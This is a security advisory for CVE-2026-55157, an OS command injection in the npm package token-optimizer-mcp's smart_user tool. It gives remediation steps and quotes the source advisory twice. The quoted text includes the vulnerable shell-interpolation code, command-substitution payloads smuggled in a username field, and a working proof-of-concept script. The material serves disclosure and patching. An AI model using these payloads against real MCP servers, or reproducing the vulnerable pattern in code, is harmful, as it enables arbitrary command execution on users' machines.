CVE-2026-55157: Token Optimizer MCP OS Command Injection Vulnerability

HIGH
Advisory Identifier: GHSA-49mq-fc6q-3h46
CVSS 8.4
CWE-78
Published
Advisory Summary

CVE-2026-55157 is a HIGH (CVSS 8.4) os command injection vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Token Optimizer MCP libraries in the npm ecosystem. The issue involves os command injection in smart_user via username in get-user-info. Remediation is available by upgrading affected packages to version 5.1.0.

CVE-2026-55157 at a Glance

CVE Identifier CVE-2026-55157
GHSA Identifier GHSA-49mq-fc6q-3h46
Severity HIGH
CVSS v3.1 Base Score 8.4
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Token Optimizer MCP
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.4

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-55157

To remediate this vulnerability, upgrade all affected Token Optimizer MCP dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@ooples/token-optimizer-mcp fixed: 5.1.0
npm install @ooples/token-optimizer-mcp@5.1.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @ooples/token-optimizer-mcp

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-55157, inspect your project dependencies using npm:

npm ls @ooples/token-optimizer-mcp

Analyze the terminal output to locate any version of Token Optimizer MCP in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.1.0), your application is affected.

Note: The npm ls @ooples/token-optimizer-mcp command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Token Optimizer MCP, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `token-optimizer-mcp` is vulnerable to OS command injection in the `smart_user` tool. The `get-user-info` operation accepts a user-controlled `username` argument and later interpolates it into a shell command executed through `execAsync()`: ```ts getent passwd "${username}" || grep "^${username}:" /etc/passwd ``` Although the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as `$(...)` and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as: ```text $(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID) ``` and execute arbitrary local commands with the privileges of the user running the MCP server. This is a CWE-78 OS command injection issue. Tested version: ```text @ooples/token-optimizer-mcp v5.0.1 MCP serverInfo.name: token-optimizer-mcp MCP serverInfo.version: 0.2.0 ``` This issue is not related to the current `npm audit` dependency advisories. The vulnerability is in `token-optimizer-mcp`'s own tool implementation. --- ### Details The vulnerable code path is in the `smart_user` implementation. The `username` argument is eventually passed into a shell command similar to: ```ts const { stdout: passwdOut } = await execAsync( `getent passwd "${username}" || grep "^${username}:" /etc/passwd` ); ``` The problem is that `username` is controlled by the MCP tool caller and is inserted into a command string executed by a shell. Double quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes: ```bash "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)" "`id`" ``` Therefore, a malicious `username` can execute arbitrary commands before `getent` or `grep` receives its arguments. The affected MCP tool call is: ```text tool: smart_user operation: get-user-info argument: username ``` Root cause: ```text MCP-controlled username → interpolated into shell command string → executed through execAsync() → shell evaluates $(...) / backticks → arbitrary command execution ``` --- ### PoC The following PoC runs a harmless `id` command and writes the result to a temporary file under `/tmp`. Prerequisites: ```text Node.js installed token-optimizer-mcp built from source ``` Build from source: ```bash git clone https://github.com/ooples/token-optimizer-mcp.git cd token-optimizer-mcp npm install npm run build ``` Run the PoC: ```bash cd /path/to/token-optimizer-mcp ENTRY=dist/server/index.js ID_OUT="/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$" rm -f "$ID_OUT" echo "[*] ENTRY=$ENTRY" echo "[*] id output file: $ID_OUT" python3 - "$ID_OUT" <<'PY' | timeout 20 node "$ENTRY" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log import json import sys id_out = sys.argv[1] # This value is inserted into: # getent passwd "${username}" || grep "^${username}:" /etc/passwd # Command substitution still executes inside double quotes. evil_username = f'$(id > {id_out})' messages = [ { "jsonrpc": "2.0", "id": "init", "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "0" } } }, { "jsonrpc": "2.0", "method": "notifications/initialized", "params": {} }, { "jsonrpc": "2.0", "id": "poc-smart-user", "method": "tools/call", "params": { "name": "smart_user", "arguments": { "operation": "get-user-info", "username": evil_username, "useCache": False } } } ] for msg in messages: print(json.dumps(msg), flush=True) PY sleep 1 if [ -f "$ID_OUT" ]; then echo "[VULN CONFIRMED] smart_user command injection executed:" cat "$ID_OUT" ls -l "$ID_OUT" else echo "[FAIL] smart_user id output file not created" tail -120 /tmp/token_optimizer_smart_user_poc.log fi ``` Expected result: ```text [VULN CONFIRMED] smart_user command injection executed: uid=1001(<local-user>) gid=1001(<local-user>) groups=... -rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_... ``` In my test, the MCP response also showed that the payload reached the shell command: ```text Command failed: getent passwd "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)" || grep "^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):" /etc/passwd ``` The file `/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...` was created and contained the output of `id`, confirming command execution as the MCP server user. A simpler marker-file variant also works: ```json { "operation": "get-user-info", "username": "$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)", "useCache": false } ``` --- ### Impact This is an OS command injection vulnerability. Any MCP client that can call the `smart_user` tool can execute arbitrary shell commands through the `username` argument of the `get-user-info` operation. The commands execute with the privileges of the user running the `token-optimizer-mcp` server. Confirmed impact: ```text execution of `id` as the MCP server user arbitrary file creation under /tmp through an injected command ```

CVE-2026-55157 Affected Token Optimizer MCP Versions

1 component(s)
Fixed Versions:
5.1.0
Product / Package Ecosystem Affected Versions Fixed Version
@ooples/token-optimizer-mcp
npm
< 5.1.0
5.1.0

References

Frequently Asked Questions

What is CVE-2026-55157?
CVE-2026-55157 is a security vulnerability in Token Optimizer MCP involving OS command injection in smart_user via username in get-user-info under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Token Optimizer MCP versions are affected?
Affected versions include releases prior to 5.1.0 across affected packages: @ooples/token-optimizer-mcp.
What version fixes CVE-2026-55157?
Upgrading to 5.1.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @ooples/token-optimizer-mcp affected?
Yes, @ooples/token-optimizer-mcp is affected in releases prior to 5.1.0. Upgrade your dependency to 5.1.0 or later.
What is the CVSS score of CVE-2026-55157?
CVE-2026-55157 has a CVSS v3.1 base score of 8.4 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-55157?
CVE-2026-55157 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check npm dependencies for CVE-2026-55157?
Run the dependency tree command: 'npm ls @ooples/token-optimizer-mcp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-49mq-fc6q-3h46",
  "modified" : "2026-08-14T21:42:06Z",
  "published" : "2026-08-14T21:42:06Z",
  "aliases" : [ "CVE-2026-55157" ],
  "summary" : "Token Optimizer MCP: OS command injection in smart_user via username in get-user-info",
  "details" : "### Summary\n\n`token-optimizer-mcp` is vulnerable to OS command injection in the `smart_user` tool.\n\nThe `get-user-info` operation accepts a user-controlled `username` argument and later interpolates it into a shell command executed through `execAsync()`:\n\n```ts\ngetent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd\n```\n\nAlthough the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as `$(...)` and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as:\n\n```text\n$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)\n```\n\nand execute arbitrary local commands with the privileges of the user running the MCP server.\n\nThis is a CWE-78 OS command injection issue.\n\nTested version:\n\n```text\n@ooples/token-optimizer-mcp v5.0.1\nMCP serverInfo.name: token-optimizer-mcp\nMCP serverInfo.version: 0.2.0\n```\n\nThis issue is not related to the current `npm audit` dependency advisories. The vulnerability is in `token-optimizer-mcp`'s own tool implementation.\n\n---\n\n### Details\n\nThe vulnerable code path is in the `smart_user` implementation.\n\nThe `username` argument is eventually passed into a shell command similar to:\n\n```ts\nconst { stdout: passwdOut } = await execAsync(\n  `getent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd`\n);\n```\n\nThe problem is that `username` is controlled by the MCP tool caller and is inserted into a command string executed by a shell.\n\nDouble quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes:\n\n```bash\n\"$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)\"\n\"`id`\"\n```\n\nTherefore, a malicious `username` can execute arbitrary commands before `getent` or `grep` receives its arguments.\n\nThe affected MCP tool call is:\n\n```text\ntool: smart_user\noperation: get-user-info\nargument: username\n```\n\nRoot cause:\n\n```text\nMCP-controlled username\n→ interpolated into shell command string\n→ executed through execAsync()\n→ shell evaluates $(...) / backticks\n→ arbitrary command execution\n```\n\n---\n\n### PoC\n\nThe following PoC runs a harmless `id` command and writes the result to a temporary file under `/tmp`.\n\nPrerequisites:\n\n```text\nNode.js installed\ntoken-optimizer-mcp built from source\n```\n\nBuild from source:\n\n```bash\ngit clone https://github.com/ooples/token-optimizer-mcp.git\ncd token-optimizer-mcp\nnpm install\nnpm run build\n```\n\nRun the PoC:\n\n```bash\ncd /path/to/token-optimizer-mcp\n\nENTRY=dist/server/index.js\nID_OUT=\"/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$\"\nrm -f \"$ID_OUT\"\n\necho \"[*] ENTRY=$ENTRY\"\necho \"[*] id output file: $ID_OUT\"\n\npython3 - \"$ID_OUT\" <<'PY' | timeout 20 node \"$ENTRY\" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log\nimport json\nimport sys\n\nid_out = sys.argv[1]\n\n# This value is inserted into:\n# getent passwd \"${username}\" || grep \"^${username}:\" /etc/passwd\n# Command substitution still executes inside double quotes.\nevil_username = f'$(id > {id_out})'\n\nmessages = [\n    {\n        \"jsonrpc\": \"2.0\",\n        \"id\": \"init\",\n        \"method\": \"initialize\",\n        \"params\": {\n            \"protocolVersion\": \"2024-11-05\",\n            \"capabilities\": {},\n            \"clientInfo\": {\n                \"name\": \"poc\",\n                \"version\": \"0\"\n            }\n        }\n    },\n    {\n        \"jsonrpc\": \"2.0\",\n        \"method\": \"notifications/initialized\",\n        \"params\": {}\n    },\n    {\n        \"jsonrpc\": \"2.0\",\n        \"id\": \"poc-smart-user\",\n        \"method\": \"tools/call\",\n        \"params\": {\n            \"name\": \"smart_user\",\n            \"arguments\": {\n                \"operation\": \"get-user-info\",\n                \"username\": evil_username,\n                \"useCache\": False\n            }\n        }\n    }\n]\n\nfor msg in messages:\n    print(json.dumps(msg), flush=True)\nPY\n\nsleep 1\n\nif [ -f \"$ID_OUT\" ]; then\n  echo \"[VULN CONFIRMED] smart_user command injection executed:\"\n  cat \"$ID_OUT\"\n  ls -l \"$ID_OUT\"\nelse\n  echo \"[FAIL] smart_user id output file not created\"\n  tail -120 /tmp/token_optimizer_smart_user_poc.log\nfi\n```\n\nExpected result:\n\n```text\n[VULN CONFIRMED] smart_user command injection executed:\nuid=1001(<local-user>) gid=1001(<local-user>) groups=...\n-rw-rw-r-- 1 <local-user> <local-user> ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...\n```\n\nIn my test, the MCP response also showed that the payload reached the shell command:\n\n```text\nCommand failed: getent passwd \"$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)\" || grep \"^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):\" /etc/passwd\n```\n\nThe file `/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...` was created and contained the output of `id`, confirming command execution as the MCP server user.\n\nA simpler marker-file variant also works:\n\n```json\n{\n  \"operation\": \"get-user-info\",\n  \"username\": \"$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)\",\n  \"useCache\": false\n}\n```\n\n---\n\n### Impact\n\nThis is an OS command injection vulnerability.\n\nAny MCP client that can call the `smart_user` tool can execute arbitrary shell commands through the `username` argument of the `get-user-info` operation.\n\nThe commands execute with the privileges of the user running the `token-optimizer-mcp` server.\n\nConfirmed impact:\n\n```text\nexecution of `id` as the MCP server user\narbitrary file creation under /tmp through an injected command\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@ooples/token-optimizer-mcp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.1.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/ooples/token-optimizer-mcp/security/advisories/GHSA-49mq-fc6q-3h46"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ooples/token-optimizer-mcp/commit/b4ee96dac799cbfba0a9f9c17844ce9d613cbcc7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/ooples/token-optimizer-mcp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/ooples/token-optimizer-mcp/releases/tag/v5.1.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-14T21:42:06Z",
    "nvd_published_at" : null
  }
}